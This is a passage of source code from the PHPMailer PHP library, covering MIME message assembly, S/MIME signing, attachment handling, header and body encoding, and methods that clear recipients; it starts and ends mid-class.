        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
